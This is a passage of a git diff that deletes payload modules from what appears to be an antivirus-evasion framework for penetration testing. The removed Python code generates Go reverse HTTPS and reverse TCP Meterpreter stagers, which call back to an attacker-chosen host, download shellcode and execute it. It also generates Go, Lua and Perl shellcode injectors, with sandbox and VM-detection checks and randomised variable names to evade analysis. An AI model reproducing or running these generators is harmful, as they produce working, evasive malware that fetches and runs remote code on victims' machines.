0, 0)\n}\n" % (allocvarout) - payload_code += '}' * num_curlys - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/go/meterpreter/rev_https.py b/Tools/Evasion/payloads/go/meterpreter/rev_https.py deleted file mode 100644 index 6477b37..0000000 --- a/Tools/Evasion/payloads/go/meterpreter/rev_https.py +++ /dev/null @@ -1,185 +0,0 @@ -""" -Custom-written pure go meterpreter/reverse_https stager - -Module built by @b00stfr3ak44 -Updated by @ChrisTruncer -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from random import randint - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_https stager, no shellcode" - self.language = "go" - self.extension = "go" - self.rating = "Normal" - self.name = "Pure Golang Reverse HTTPS Stager" - self.path = "go/meterpreter/rev_https" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["80", "Port of the Metasploit handler"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "UTCCHECK" : ["FALSE", "Check if system uses UTC time"], - "USERPROMPT" : ["FALSE", "Prompt user prior to injection"], - "RAMCHECK" : ["FALSE", "Check for at least 3 gigs of RAM"], - "PROCCHECK" : ["FALSE", "Check for active VM processes"], - "MINPROCS" : ["X", "Minimum number of running processes"], - "BADMACS" : ["FALSE", "Check for VM based MAC addresses"], - "CLICKTRACK" : ["X", "Require X number of clicks before execution"], - "CURSORCHECK" : ["FALSE", "Check for mouse movements"], - "DISKSIZE" : ["X", "Check for a minimum number of gigs for hard disk"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - memCommit = evasion_helpers.randomString() - memReserve = evasion_helpers.randomString() - pageExecRW = evasion_helpers.randomString() - kernel32 = evasion_helpers.randomString() - procVirtualAlloc = evasion_helpers.randomString() - base64Url = evasion_helpers.randomString() - virtualAlloc = evasion_helpers.randomString() - size = evasion_helpers.randomString() - allocvarout = evasion_helpers.randomString() - err = evasion_helpers.randomString() - randBase = evasion_helpers.randomString() - length = evasion_helpers.randomString() - foo = evasion_helpers.randomString() - random = evasion_helpers.randomString() - outp = evasion_helpers.randomString() - i = evasion_helpers.randomString() - randTextBase64URL = evasion_helpers.randomString() - getURI = evasion_helpers.randomString() - sumVar = evasion_helpers.randomString() - checksum8 = evasion_helpers.randomString() - uri = evasion_helpers.randomString() - value = evasion_helpers.randomString() - tr = evasion_helpers.randomString() - client = evasion_helpers.randomString() - hostAndPort = evasion_helpers.randomString() - port = self.required_options["LPORT"][0] - host = self.required_options["LHOST"][0] - response = evasion_helpers.randomString() - uriLength = randint(5, 255) - payload = evasion_helpers.randomString() - bufferVar = evasion_helpers.randomString() - x = evasion_helpers.randomString() - heapcreatevariable = evasion_helpers.randomString() - heapallocvariable = evasion_helpers.randomString() - heapcreateout = evasion_helpers.randomString() - cust_func = evasion_helpers.randomString() - errorvariable = evasion_helpers.randomString() - errorvariabledos = evasion_helpers.randomString() - - # sandbox check code - sandbox_checks, num_curlys = gamemaker.senecas_games(self) - - # Todo: randomize import order - payload_code = "package main\nimport (\n\"syscall\"\n\"unsafe\"\n" - payload_code += "\"io/ioutil\"\n\"math/rand\"\n\"net/http\"\n\"time\"\n\"crypto/tls\"\n" - - if self.required_options["PROCESSORS"][0].lower() != "x": - payload_code += "\"runtime\"\n" - - # Add in other imports based on checks being performed - if self.required_options["USERNAME"][0].lower() != "x": - payload_code += "\"strings\"\n\"os/user\"\n" - if self.required_options["HOSTNAME"][0].lower() != "x" or self.required_options["PROCCHECK"][0].lower() != 'false': - if "strings" not in payload_code: - payload_code += "\"strings\"\n" - if self.required_options["SLEEP"][0].lower() != "x": - payload_code += "\"net\"\n\"encoding/binary\"\n" - if self.required_options["BADMACS"][0].lower() != 'false': - if "net" not in payload_code: - payload_code += "\"net\"\n" - if "strings" not in payload_code: - payload_code += "\"strings\"\n" - if self.required_options["UTCCHECK"][0].lower() != 'false': - if "time" not in payload_code: - payload_code += "\"time\"\n" - if self.required_options["CURSORCHECK"][0].lower() != 'false': - if "time" not in payload_code: - payload_code += "\"time\"\n" - - payload_code += ")\n" - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "const (\n" - payload_code += "%s = 0x1000\n" % (memCommit) - payload_code += "%s = 0x2000\n" % (memReserve) - payload_code += "%s = 0x40\n)\n" % (pageExecRW) - - payload_code += "var (\n" - payload_code += "%s = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"\n" %(base64Url) - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" % (kernel32) - payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n)\n" % (procVirtualAlloc, kernel32) - payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) - payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % (allocvarout, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW) - payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n" - payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n" - payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n" - payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) - payload_code += heapcreateout + ", _, " + errorvariable + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n" - payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n" - payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout) - - payload_code += "func %s(%s int, %s []byte) string {\n" % (randBase, length, foo) - payload_code += "%s := rand.New(rand.NewSource(time.Now().UnixNano()))\n" % (random) - payload_code += "var %s []byte\n" % (outp) - payload_code += "for %s := 0; %s < %s; %s++ {\n" % (i, i, length, i) - payload_code += "%s = append(%s, %s[%s.Intn(len(%s))])\n}\n" % (outp, outp, foo, random, foo) - payload_code += "return string(%s)\n}\n" % (outp) - - payload_code += "func %s(%s int) string {\n" % (randTextBase64URL, length) - payload_code += "%s := []byte(%s)\n" % (foo, base64Url) - payload_code += "return %s(%s, %s)\n}\n" % (randBase, length, foo) - - payload_code += "func %s(%s, %s int) string {\n" % (getURI, sumVar, length) - payload_code += "for {\n%s := 0\n%s := %s(%s)\n" % (checksum8, uri, randTextBase64URL, length) - payload_code += "for _, %s := range []byte(%s) {\n%s += int(%s)\n}\n" % (value, uri, checksum8, value) - payload_code += "if %s%s == %s {\nreturn \"/\" + %s\n}\n}\n}\n" % (checksum8, '%0x100', sumVar, uri) - - payload_code += "func main() {\n" - # Sandbox code goes here - if sandbox_checks != '': - payload_code += sandbox_checks - payload_code += "%s := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}\n" %(tr) - payload_code += "%s := http.Client{Transport: %s}\n" % (client, tr) - payload_code += "%s := \"https://%s:%s\"\n" % (hostAndPort, host, port) - payload_code += "%s, _ := %s.Get(%s + %s(92, %s))\n" % (response, client, hostAndPort, getURI, uriLength) - payload_code += "defer %s.Body.Close()\n" % (response) - payload_code += "%s, _ := ioutil.ReadAll(%s.Body)\n" % (payload, response) - payload_code += "%s, _ := %s(uintptr(len(%s)))\n" % (allocvarout, cust_func, payload) - payload_code += "%s := (*[990000]byte)(unsafe.Pointer(%s))\n" % (bufferVar, allocvarout) - payload_code += "for %s, %s := range %s {\n" %(x, value, payload) - payload_code += "%s[%s] = %s\n}\n" % (bufferVar, x, value) - payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (allocvarout) - payload_code += '}' * num_curlys - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/go/meterpreter/rev_tcp.py b/Tools/Evasion/payloads/go/meterpreter/rev_tcp.py deleted file mode 100644 index afb5bc2..0000000 --- a/Tools/Evasion/payloads/go/meterpreter/rev_tcp.py +++ /dev/null @@ -1,179 +0,0 @@ -""" -Custom-written pure go meterpreter/reverse_tcp stager - -Module built by @b00stfr3ak44 -Updated by @ChrisTruncer -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_tcp stager, no shellcode" - self.language = "go" - self.extension = "go" - self.rating = "Normal" - self.name = "Pure Golang Reverse TCP Stager" - self.path = "go/meterpreter/rev_tcp" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["80", "Port of the Metasploit handler"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "UTCCHECK" : ["FALSE", "Check if system uses UTC time"], - "USERPROMPT" : ["FALSE", "Prompt user prior to injection"], - "RAMCHECK" : ["FALSE", "Check for at least 3 gigs of RAM"], - "PROCCHECK" : ["FALSE", "Check for active VM processes"], - "MINPROCS" : ["X", "Minimum number of running processes"], - "BADMACS" : ["FALSE", "Check for VM based MAC addresses"], - "CLICKTRACK" : ["X", "Require X number of clicks before execution"], - "CURSORCHECK" : ["FALSE", "Check for mouse movements"], - "DISKSIZE" : ["X", "Check for a minimum number of gigs for hard disk"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - memCommit = evasion_helpers.randomString() - memReserve = evasion_helpers.randomString() - pageExecRW = evasion_helpers.randomString() - kernel32 = evasion_helpers.randomString() - procVirtualAlloc = evasion_helpers.randomString() - size = evasion_helpers.randomString() - err = evasion_helpers.randomString() - wsadata = evasion_helpers.randomString() - socket = evasion_helpers.randomString() - socketAddr = evasion_helpers.randomString() - ip = self.required_options["LHOST"][0].split('.') - buf = evasion_helpers.randomString() - dataBuf = evasion_helpers.randomString() - flags = evasion_helpers.randomString() - qty = evasion_helpers.randomString() - scLength = evasion_helpers.randomString() - sc = evasion_helpers.randomString() - sc2 = evasion_helpers.randomString() - total = evasion_helpers.randomString() - mem = evasion_helpers.randomString() - buffer_variable = evasion_helpers.randomString() - handle = evasion_helpers.randomString() - x = evasion_helpers.randomString() - value = evasion_helpers.randomString() - cust_func = evasion_helpers.randomString() - heapcreatevariable = evasion_helpers.randomString() - heapallocvariable = evasion_helpers.randomString() - heapcreateout = evasion_helpers.randomString() - allocvarout = evasion_helpers.randomString() - errorvariable = evasion_helpers.randomString() - errorvariabledos = evasion_helpers.randomString() - constSize = evasion_helpers.randomString() - - # sandbox check code - sandbox_checks, num_curlys = gamemaker.senecas_games(self) - - payload_code = "package main\nimport (\n\"encoding/binary\"\n\"syscall\"\n\"unsafe\"\n" - if self.required_options["PROCESSORS"][0].lower() != "x": - payload_code += "\"runtime\"\n" - - # Add in other imports based on checks being performed - if self.required_options["USERNAME"][0].lower() != "x": - payload_code += "\"strings\"\n\"os/user\"\n" - if self.required_options["HOSTNAME"][0].lower() != "x" or self.required_options["PROCCHECK"][0].lower() != 'false': - if "strings" not in payload_code: - payload_code += "\"strings\"\n" - if self.required_options["SLEEP"][0].lower() != "x": - payload_code += "\"net\"\n\"time\"\n\"encoding/binary\"\n" - if self.required_options["BADMACS"][0].lower() != 'false': - if "net" not in payload_code: - payload_code += "\"net\"\n" - if "strings" not in payload_code: - payload_code += "\"strings\"\n" - if self.required_options["UTCCHECK"][0].lower() != 'false': - if "time" not in payload_code: - payload_code += "\"time\"\n" - if self.required_options["CURSORCHECK"][0].lower() != 'false': - if "time" not in payload_code: - payload_code += "\"time\"\n" - - payload_code += ")\n" - - payload_code += "const (\n" - payload_code += "%s = 0x1000\n" % (memCommit) - payload_code += "%s = 0x2000\n" % (memReserve) - payload_code += "%s = 0x40\n)\n" % (pageExecRW) - - payload_code += "var (\n" - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" % (kernel32) - payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n)\n" % (procVirtualAlloc, kernel32) - payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) - payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % (allocvarout, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW) - payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n" - payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n" - payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n" - payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) - payload_code += heapcreateout + ", _, " + errorvariable + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n" - payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n" - payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout) - - payload_code += "func main() {\n" - # Sandbox code goes here - if sandbox_checks != '': - payload_code += sandbox_checks - payload_code += "const %s = 1000 << 10\n" %(constSize) - payload_code += "var %s syscall.WSAData\n" %(wsadata) - payload_code += "syscall.WSAStartup(uint32(0x202), &%s)\n" %(wsadata) - payload_code += "%s, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\n" %(socket) - payload_code += "%s := syscall.SockaddrInet4{Port: %s, Addr: [4]byte{%s, %s, %s, %s}}\n" %(socketAddr, self.required_options["LPORT"][0], ip[0], ip[1], ip[2], ip[3]) - payload_code += "syscall.Connect(%s, &%s)\n" %(socket, socketAddr) - payload_code += "var %s [4]byte\n" %(buf) - payload_code += "%s := syscall.WSABuf{Len: uint32(4), Buf: &%s[0]}\n" %(dataBuf, buf) - payload_code += "%s := uint32(0)\n" %(flags) - payload_code += "%s := uint32(0)\n" %(qty) - payload_code += "syscall.WSARecv(%s, &%s, 1, &%s, &%s, nil, nil)\n" %(socket, dataBuf, qty, flags) - payload_code += "%s := binary.LittleEndian.Uint32(%s[:])\n" %(scLength, buf) - payload_code += "%s := make([]byte, %s)\n" %(sc, scLength) - payload_code += "var %s []byte\n" %(sc2) - payload_code += "%s = syscall.WSABuf{Len: %s, Buf: &%s[0]}\n" %(dataBuf, scLength, sc) - payload_code += "%s = uint32(0)\n" %(flags) - payload_code += "%s = uint32(0)\n" %(qty) - payload_code += "%s := uint32(0)\n" %(total) - payload_code += "for %s < %s {\n" %(total, scLength) - payload_code += "syscall.WSARecv(%s, &%s, 1, &%s, &%s, nil, nil)\n" %(socket, dataBuf, qty, flags) - payload_code += "for i := 0; i < int(%s); i++ {\n" %(qty) - payload_code += "%s = append(%s, %s[i])\n}\n%s += %s\n}\n" %(sc2, sc2, sc, total, qty) - payload_code += "%s, _ := %s(uintptr(%s + 5))\n" %(mem, cust_func, scLength) - payload_code += "%s := (*[%s]byte)(unsafe.Pointer(%s))\n" %(buffer_variable,constSize, mem) - payload_code += "%s := (uintptr)(unsafe.Pointer(%s))\n" %(handle, socket) - payload_code += "%s[0] = 0xBF\n" %(buffer_variable) - payload_code += "%s[1] = byte(%s)\n" %(buffer_variable, handle) - payload_code += "%s[2] = 0x00\n" %(buffer_variable) - payload_code += "%s[3] = 0x00\n" %(buffer_variable) - payload_code += "%s[4] = 0x00\n" %(buffer_variable) - payload_code += "for %s, %s := range %s {\n" %(x, value, sc2) - payload_code += "%s[%s+5] = %s\n}\n" %(buffer_variable, x, value) - payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" %(mem) - payload_code += '}' * num_curlys - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/go/shellcode_inject/virtual.py b/Tools/Evasion/payloads/go/shellcode_inject/virtual.py deleted file mode 100644 index 12d4be1..0000000 --- a/Tools/Evasion/payloads/go/shellcode_inject/virtual.py +++ /dev/null @@ -1,181 +0,0 @@ -""" -Go inline shellcode injector using the VirtualAlloc() -Uses basic variable renaming obfuscation - -Module built by @b00stfr3ak44 -Updated by @ChrisTruncer -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required - self.language = "go" - self.extension = "go" - self.rating = "Normal" - self.description = "Golang VirtualAlloc method for inline shellcode injection" - self.name = "Golang Flat Shellcode Injector" - self.path = "go/shellcode_inject/virtual" - self.cli_opts = cli_obj - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user interaction for- format is {OPTION : [Value, Description]]} - self.required_options = { - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "UTCCHECK" : ["FALSE", "Check if system uses UTC time"], - "USERPROMPT" : ["FALSE", "Prompt user prior to injection"], - "RAMCHECK" : ["FALSE", "Check for at least 3 gigs of RAM"], - "PROCCHECK" : ["FALSE", "Check for active VM processes"], - "MINPROCS" : ["X", "Minimum number of running processes"], - "BADMACS" : ["FALSE", "Check for VM based MAC addresses"], - "CLICKTRACK" : ["X", "Require X number of clicks before execution"], - "CURSORCHECK" : ["FALSE", "Check for mouse movements"], - "DISKSIZE" : ["X", "Check for a minimum number of gigs for hard disk"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - # randomly generate out variable names - memCommit = evasion_helpers.randomString() - memReserve = evasion_helpers.randomString() - pageExecRW = evasion_helpers.randomString() - kernel32 = evasion_helpers.randomString() - procVirtualAlloc = evasion_helpers.randomString() - cust_func = evasion_helpers.randomString() - size = evasion_helpers.randomString() - addr = evasion_helpers.randomString() - err = evasion_helpers.randomString() - shellcode_variable = evasion_helpers.randomString() - buff = evasion_helpers.randomString() - value = evasion_helpers.randomString() - heapcreatevariable = evasion_helpers.randomString() - heapallocvariable = evasion_helpers.randomString() - heapcreateout = evasion_helpers.randomString() - errorvariable = evasion_helpers.randomString() - heapallocout = evasion_helpers.randomString() - rand_var = evasion_helpers.randomString() - procVirtualProtect = evasion_helpers.randomString() - proc_out = evasion_helpers.randomString() - vprotectendvar = evasion_helpers.randomString() - - # Generate the shellcode - if not self.cli_shellcode: - Shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - Shellcode = self.cli_shellcode - - # sandbox check code - sandbox_checks, num_curlys = gamemaker.senecas_games(self) - - payload_code = "package main\nimport (\n\"syscall\"\n\"unsafe\"\n\"fmt\"\n\"os\"\n" - if self.required_options["PROCESSORS"][0].lower() != "x": - payload_code += "\"runtime\"\n" - - # Add in other imports based on checks being performed - if self.required_options["USERNAME"][0].lower() != "x": - payload_code += "\"strings\"\n\"os/user\"\n" - if self.required_options["HOSTNAME"][0].lower() != "x" or self.required_options["PROCCHECK"][0].lower() != 'false': - if "strings" not in payload_code: - payload_code += "\"strings\"\n" - if self.required_options["SLEEP"][0].lower() != "x": - payload_code += "\"net\"\n\"time\"\n\"encoding/binary\"\n" - if self.required_options["BADMACS"][0].lower() != 'false': - if "net" not in payload_code: - payload_code += "\"net\"\n" - if "strings" not in payload_code: - payload_code += "\"strings\"\n" - if self.required_options["UTCCHECK"][0].lower() != 'false': - if "time" not in payload_code: - payload_code += "\"time\"\n" - if self.required_options["CURSORCHECK"][0].lower() != 'false': - if "time" not in payload_code: - payload_code += "\"time\"\n" - - payload_code += ")\n" - - # Changes based on injection type - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "const (\n" - payload_code += "%s = 0x1000\n" % (memCommit) - payload_code += "%s = 0x2000\n" % (memReserve) - payload_code += "%s = 0x04\n)\n" % (pageExecRW) - - payload_code += "var (\n" - - # injection type - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "%s = 0\n" %(proc_out) - payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" %(kernel32) - payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n" %(procVirtualAlloc, kernel32) - payload_code += "%s = %s.NewProc(\"VirtualProtect\")\n)\n" %(procVirtualProtect, kernel32) - payload_code += "func %s(%s uintptr) (uintptr, error) {\n" %(cust_func, size) - payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" %(addr, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW) - payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" %(addr, err, addr) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n" - payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n" - payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n" - payload_code += "func %s(%s uintptr) (uintptr, error) {\n" %(cust_func, size) - payload_code += heapcreateout + ", _, " + errorvariable + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n" - payload_code += heapallocout + ", _, _ := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n" - payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" %(heapallocout, errorvariable, heapallocout) - - payload_code += "var %s string = \"%s\"\n" %(shellcode_variable, Shellcode) - payload_code += "func main() {\n" - # Sandbox code goes here - if sandbox_checks != '': - payload_code += sandbox_checks - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "%s, %s := %s(uintptr(len(%s)))\n" %(addr, err, cust_func, shellcode_variable) - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += "%s, %s := %s(uintptr(len(%s)))\n" %(heapallocout, err, cust_func, shellcode_variable) - - payload_code += "if %s != nil {\nfmt.Println(%s)\nos.Exit(1)\n}\n" %(err, err) - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "%s := (*[890000]byte)(unsafe.Pointer(%s))\n" %(buff, addr) - payload_code += "var %s uintptr\n" %(proc_out) - payload_code += "var %s uintptr\n" %(vprotectendvar) - payload_code += "for " + rand_var + ", %s := range []byte(%s) {\n" %(value, shellcode_variable) - payload_code += buff + "[" + rand_var + "] = %s\n}\n" % (value) - payload_code += "%s, _, %s = %s.Call(%s, uintptr(len(%s)), 0x20, uintptr(unsafe.Pointer(&%s)))\n" %(proc_out, err, procVirtualProtect, addr, shellcode_variable, vprotectendvar) - payload_code += "if %s == 0 {\nos.Exit(1)\n}\n" %(proc_out) - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += "%s := (*[890000]byte)(unsafe.Pointer(%s))\n" %(buff, heapallocout) - payload_code += "for " + rand_var + ", %s := range []byte(%s) {\n" %(value, shellcode_variable) - payload_code += buff + "[" + rand_var + "] = %s\n}\n" % (value) - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (addr) - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (heapallocout) - - payload_code += '}' * num_curlys - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/lua/shellcode_inject/flat.py b/Tools/Evasion/payloads/lua/shellcode_inject/flat.py deleted file mode 100644 index f99138d..0000000 --- a/Tools/Evasion/payloads/lua/shellcode_inject/flat.py +++ /dev/null @@ -1,86 +0,0 @@ -""" -Custom-written lua inline shellcode injector - -Module built by @the_grayhound -Updated by @ChrisTruncer -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.shortname = "VirtualAlloc" - self.language = "lua" - self.extension = "lua" - self.rating = "Excellent" - self.description = "VirtualAlloc pattern for shellcode injection" - self.name = "Lua flat shellcode injector" - self.required_options = {} - self.path = "lua/shellcode_inject/flat" - self.cli_opts = cli_obj - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - def generate(self): - - # Generate the shellcode - if not self.cli_shellcode: - shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - shellcode = self.cli_shellcode - - # get the raw shellcode - raw = shellcode.encode('latin-1') - raw = raw.decode('unicode_escape') - - # get the shellcode into the stupid-ass lua because - # stupid-ass lua doesn't do string hex escapes - shellcode = "".join(["\\" + str(ord(c)).zfill(3) for c in raw]) - - payload_code = """shellcode="%s" -core = require "alien.core" -kernel32 = core.load("Kernel32") -len = string.len(shellcode) - -va = kernel32.VirtualAlloc -va:types{ ret = 'int', abi = 'stdcall', 'int', 'int', 'int', 'int' } -ptr = va(0, len, 0x3000, 0x40) - -vl = kernel32.VirtualLock -vl:types{ ret = 'int', abi = 'stdcall', 'int', 'int' } -vl(ptr, len) - -rmm = kernel32.RtlMoveMemory -rmm:types{ ret = 'int', abi = 'stdcall', 'int', 'string', 'int'} -rmm(ptr, shellcode, len) - -ct = kernel32.CreateThread -ct:types{ ret = 'int', abi = 'stdcall', 'int', 'int', 'int', 'int', 'int', 'ref int'} -ht = ct(0, 0, ptr, 0, 0, 0) - -wfso = kernel32.WaitForSingleObject -wfso:types{ ret = 'int', abi = 'stdcall', 'int', 'int'} -wfso(ht, -1) - """ % (shellcode) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/native/__init__.py b/Tools/Evasion/payloads/native/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/perl/shellcode_inject/flat.py b/Tools/Evasion/payloads/perl/shellcode_inject/flat.py deleted file mode 100644 index 0b85d20..0000000 --- a/Tools/Evasion/payloads/perl/shellcode_inject/flat.py +++ /dev/null @@ -1,115 +0,0 @@ -""" -Custom-written perl inline shellcode injector - -Approach by @the_grayhound and @christruncer -Updated by @ChrisTruncer -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.shortname = "VirtualAlloc" - self.language = "perl" - self.extension = "pl" - self.rating = "Excellent" - self.description = "VirtualAlloc pattern for shellcode injection" - self.name = "Perl flat shellcode injector" - self.path = "perl/shellcode_inject/flat" - self.cli_opts = cli_obj - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # optional - self.required_options = { - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "USERPROMPT" : ["X", "Optional: Prompt for user activity"], - "RAMSIZE" : ["X", "Optional: Check RAM size of target"], - "NUMPROCS" : ["X", "Optional: Minimum number of 